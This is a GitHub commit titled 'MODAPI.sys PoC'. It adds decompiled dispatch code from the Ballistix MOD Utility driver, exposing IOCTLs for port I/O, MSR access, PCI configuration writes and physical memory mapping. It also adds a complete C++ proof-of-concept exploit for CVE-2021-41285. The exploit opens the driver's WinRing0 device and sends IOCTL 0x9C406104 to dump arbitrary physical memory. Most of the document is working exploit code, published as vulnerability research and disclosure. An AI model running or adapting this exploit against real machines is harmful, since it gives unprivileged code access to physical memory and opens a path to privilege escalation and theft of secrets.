Skip to content

Commit 07d4932

Browse files
committed
MODAPI.sys PoC
1 parent e67bb82 commit 07d4932

File tree

5 files changed

+320
-0
lines changed

5 files changed

+320
-0
lines changed
Lines changed: 212 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,212 @@
1+
__int64 __fastcall DispatchDeviceControl(__int64 a1, IRP *a2)
2+
{
3+
unsigned int *p_Information; // rdi
4+
_IO_STACK_LOCATION *CurrentStackLocation; // rdx
5+
unsigned int status; // ebx
6+
unsigned int IOCTL_Code; // eax
7+
_IRP *v7; // rcx
8+
unsigned int v8; // er8
9+
int v9; // edx
10+
unsigned __int32 v10; // eax
11+
unsigned int v11; // eax
12+
CSHORT v12; // ax
13+
unsigned __int8 v13; // al
14+
unsigned int Options; // ebx
15+
_IRP *v15; // r9
16+
_IRP *v16; // rcx
17+
int v17; // edx
18+
unsigned int Length; // ebp
19+
ULONG *MasterIrp; // r9
20+
ULONG BusDataByOffset; // eax
21+
int v21; // eax
22+
23+
p_Information = (unsigned int *)&a2->IoStatus.Information;
24+
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
25+
*(_QWORD *)p_Information = 0i64;
26+
status = 0xC0000002; // STATUS_NOT_IMPLEMENTED
27+
if (!CurrentStackLocation->MajorFunction)
28+
{
29+
if (dword_13110 == -1)
30+
goto exit_ok;
31+
v21 = dword_13110 + 1;
32+
goto pre_exit_ok;
33+
}
34+
if (CurrentStackLocation->MajorFunction == 2)
35+
{
36+
if (dword_13110 == -1)
37+
goto exit_ok;
38+
v21 = dword_13110 - 1;
39+
pre_exit_ok:
40+
dword_13110 = v21;
41+
goto exit_ok;
42+
}
43+
if (CurrentStackLocation->MajorFunction != 14)
44+
goto exit;
45+
IOCTL_Code = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
46+
if (IOCTL_Code > 0x9C4060D4)
47+
{
48+
if (IOCTL_Code != 0x9C406104)
49+
{
50+
switch (IOCTL_Code)
51+
{
52+
case 0x9C406144:
53+
Length = CurrentStackLocation->Parameters.Read.Length;
54+
if (CurrentStackLocation->Parameters.Create.Options != 8)
55+
goto invalid_parameter;
56+
MasterIrp = (ULONG *)a2->AssociatedIrp.MasterIrp;
57+
BusDataByOffset = HalGetBusDataByOffset(
58+
PCIConfiguration,
59+
(unsigned __int8)BYTE1(*MasterIrp),
60+
(32 * (*MasterIrp & 7)) | ((unsigned __int8)*MasterIrp >> 3),
61+
MasterIrp,
62+
MasterIrp[1],
63+
CurrentStackLocation->Parameters.Read.Length);
64+
if (BusDataByOffset)
65+
{
66+
if (Length == 2 || BusDataByOffset != 2)
67+
{
68+
if (Length == BusDataByOffset)
69+
{
70+
*p_Information = Length;
71+
goto exit_ok;
72+
}
73+
status = 0xE0000004;
74+
}
75+
else
76+
{
77+
status = 0xE0000002;
78+
}
79+
}
80+
else
81+
{
82+
status = 0xE0000001;
83+
}
84+
*p_Information = 0;
85+
break;
86+
case 0x9C40A0C8:
87+
case 0x9C40A0D8:
88+
case 0x9C40A0DC:
89+
case 0x9C40A0E0:
90+
v16 = a2->AssociatedIrp.MasterIrp;
91+
v17 = *(_DWORD *)&v16->Type;
92+
switch (IOCTL_Code)
93+
{
94+
case 0x9C40A0D8:
95+
__outbyte(v17, *((_BYTE *)&v16->Size + 2));
96+
goto exit_ok;
97+
case 0x9C40A0DC:
98+
__outword(v17, *(&v16->Size + 1));
99+
goto exit_ok;
100+
case 0x9C40A0E0:
101+
__outdword(v17, *(_DWORD *)(&v16->Size + 1));
102+
goto exit_ok;
103+
}
104+
goto invalid_parameter;
105+
case 0x9C40A108:
106+
goto pre_invalid_param;
107+
case 0x9C40A148:
108+
Options = CurrentStackLocation->Parameters.Create.Options;
109+
if (Options < 8)
110+
{
111+
invalid_parameter:
112+
status = 0xC000000D; // STATUS_INVALID_PARAMETER
113+
goto exit;
114+
}
115+
v15 = a2->AssociatedIrp.MasterIrp;
116+
*p_Information = 0;
117+
status = Options - 8 != HalSetBusDataByOffset(
118+
PCIConfiguration,
119+
(unsigned __int8)BYTE1(*(_DWORD *)&v15->Type),
120+
(32 * (*(_DWORD *)&v15->Type & 7)) | ((unsigned __int8)*(_DWORD *)&v15->Type >> 3),
121+
&v15->MdlAddress,
122+
*(_DWORD *)(&v15->Size + 1),
123+
Options - 8)
124+
? 0xE0000003
125+
: 0;
126+
break;
127+
}
128+
goto exit;
129+
}
130+
v11 = vuln_MmMapIoSpace(
131+
(__int64)a2->AssociatedIrp.MasterIrp,
132+
CurrentStackLocation->Parameters.Create.Options,
133+
a2->AssociatedIrp.MasterIrp,
134+
CurrentStackLocation->Parameters.Read.Length,
135+
p_Information);
136+
pre_exit:
137+
status = v11;
138+
goto exit;
139+
}
140+
switch (IOCTL_Code)
141+
{
142+
case 0x9C4060D4:
143+
write_B_W_DW:
144+
v7 = a2->AssociatedIrp.MasterIrp;
145+
v8 = CurrentStackLocation->Parameters.Create.Options;
146+
v9 = *(_DWORD *)&v7->Type;
147+
switch (IOCTL_Code)
148+
{
149+
case 0x9C4060CC:
150+
v13 = __inbyte(v9);
151+
LOBYTE(v7->Type) = v13;
152+
goto pre_exit2;
153+
case 0x9C4060D0:
154+
v12 = __inword(v9);
155+
v7->Type = v12;
156+
goto pre_exit2;
157+
case 0x9C4060D4:
158+
v10 = __indword(v9);
159+
*(_DWORD *)&v7->Type = v10;
160+
pre_exit2:
161+
*p_Information = v8;
162+
goto exit_ok;
163+
}
164+
pre_invalid_param:
165+
*p_Information = 0;
166+
goto invalid_parameter;
167+
case 0x9C402000:
168+
*(_DWORD *)a2->AssociatedIrp.MasterIrp = 16908293;
169+
goto LABEL1;
170+
case 0x9C402004:
171+
*(_DWORD *)a2->AssociatedIrp.MasterIrp = dword_13110;
172+
LABEL1:
173+
*(_QWORD *)p_Information = 4i64;
174+
exit_ok:
175+
status = 0;
176+
break;
177+
case 0x9C402084:
178+
v11 = readmsr(
179+
(unsigned int *)a2->AssociatedIrp.MasterIrp,
180+
CurrentStackLocation->Parameters.Create.Options,
181+
(unsigned __int64 *)a2->AssociatedIrp.MasterIrp,
182+
CurrentStackLocation->Parameters.Read.Length,
183+
p_Information);
184+
goto pre_exit;
185+
case 0x9C402088:
186+
v11 = writemsr(
187+
(__int64)a2->AssociatedIrp.MasterIrp,
188+
CurrentStackLocation->Parameters.Create.Options,
189+
(__int64)a2->AssociatedIrp.MasterIrp,
190+
CurrentStackLocation->Parameters.Read.Length,
191+
p_Information);
192+
goto pre_exit;
193+
case 0x9C40208C:
194+
v11 = readpmc(
195+
(unsigned int *)a2->AssociatedIrp.MasterIrp,
196+
CurrentStackLocation->Parameters.Create.Options,
197+
(unsigned __int64 *)a2->AssociatedIrp.MasterIrp,
198+
CurrentStackLocation->Parameters.Read.Length,
199+
p_Information);
200+
goto pre_exit;
201+
case 0x9C402090:
202+
__halt();
203+
case 0x9C4060C4:
204+
case 0x9C4060CC:
205+
case 0x9C4060D0:
206+
goto write_B_W_DW;
207+
}
208+
exit:
209+
a2->IoStatus.Status = status;
210+
IofCompleteRequest(a2, 0);
211+
return status;
212+
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
/*
2+
Exploit title: Ballistix MOD Utility v.<= 2.0.2.5 (MODAPI.sys) - Mapping physical memory into virtual address space
3+
Exploit Authors: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
4+
Grade: PoC
5+
CVE: CVE-2021-41285
6+
Date: 15/09/2021
7+
Version: v.2.0.2.5
8+
Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
9+
Category: local exploit
10+
Platform: windows
11+
*/
12+
13+
#include <iostream>
14+
#include <iomanip>
15+
#include <windows.h>
16+
17+
using namespace std;
18+
19+
int main()
20+
{
21+
DWORD PhysicalMemAddr = 0xE0000; // Physical memory address to read from, change accordingly (max 0x8FFFFFFF)
22+
DWORD dwDataSizeToRead = 0x4; // Size of data to read (in chunks), in bytes (1, 2, 4); 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD)
23+
DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read
24+
DWORD dwBytesReturned = 0; // number of bytes returned from the DeviceIoControl request
25+
DWORD dwIOCTL = 0x9C406104; // IOCTL reaching MmMapIoSpace function call
26+
27+
// open a handle to the device exposed by the driver - symlink is \\.\\WinRing0_1_2_0
28+
HANDLE hDevice = ::CreateFileW(
29+
L"\\\\.\\WinRing0_1_2_0",
30+
GENERIC_READ | GENERIC_WRITE,
31+
NULL,
32+
nullptr,
33+
OPEN_EXISTING,
34+
NULL,
35+
NULL);
36+
37+
if (hDevice == INVALID_HANDLE_VALUE)
38+
{
39+
cout << "[!] Couldn't open handle to MODAPI.sys driver. Error code: " << ::GetLastError() << endl;
40+
return -1;
41+
}
42+
cout << "[+] Opened a handle to MODAPI.sys driver!" << endl;
43+
44+
cout << "[-] Allocating buffers' memory area!" << endl;
45+
// allocate memory for the DeviceIoControl lpInBuffer & lpOutBuffer buffers
46+
LPVOID lpInBuffer = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
47+
LPVOID lpOutBuffer = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
48+
if (lpInBuffer == NULL || lpOutBuffer == NULL)
49+
{
50+
cout << "[!] Unable to allocate buffers' memory area. Error code: " << ::GetLastError() << endl;
51+
return -1;
52+
}
53+
54+
cout << "[-] Populating lpInBuffer" << endl;
55+
memmove(lpInBuffer, &PhysicalMemAddr, sizeof(DWORD));
56+
memmove((BYTE*)lpInBuffer + 0x8, &dwDataSizeToRead, sizeof(DWORD));
57+
memmove((BYTE*)lpInBuffer + 0xC, &dwAmountOfDataToRead, sizeof(DWORD));
58+
59+
cout << "[-] Sending IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << endl;
60+
bool success = DeviceIoControl(
61+
hDevice,
62+
dwIOCTL,
63+
lpInBuffer, // expressed in Bytes; MUST be 0x10
64+
0x10,
65+
lpOutBuffer, // MUST be GREATER than chunk size (dwDataSizeToRead * dwAmountOfDataToRead)
66+
0x40,
67+
&dwBytesReturned,
68+
nullptr);
69+
if (!success)
70+
{
71+
cout << "[!] Couldn't send IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL
72+
<< " Error code: " << ::GetLastError() << endl;
73+
return -1;
74+
}
75+
76+
cout << endl << "[+] Dumping " << dec << (dwDataSizeToRead * dwAmountOfDataToRead)
77+
<< " bytes of data from 0x" << hex << uppercase << setw(16) << setfill('0') << PhysicalMemAddr << endl;
78+
cout << string(70, '-') << endl;
79+
// pretty print memory dump
80+
for (int nSize = 0; nSize <= 0x32; nSize += 0x10)
81+
{
82+
for (int i = 0; i <= 0xF; i++)
83+
{
84+
// output byte
85+
printf("%02X ", *((BYTE*)lpOutBuffer + i + nSize));
86+
}
87+
cout << " ";
88+
for (int i = 0; i <= 0xF; i++)
89+
{
90+
CHAR cChar = *((BYTE*)lpOutBuffer + i + nSize);
91+
// if byte is in printable range, then print it's ASCII representation
92+
if (cChar >= 0x20 && cChar <= 0x7E)
93+
{
94+
printf("%c", *((BYTE*)lpOutBuffer + i + nSize));
95+
}
96+
else
97+
{
98+
cout << ".";
99+
}
100+
}
101+
cout << endl;
102+
}
103+
cout << string(70, '-') << endl;
104+
// housekeeping
105+
VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE);
106+
VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE);
107+
ExitProcess(0);
108+
}

0 commit comments

Comments
 (0)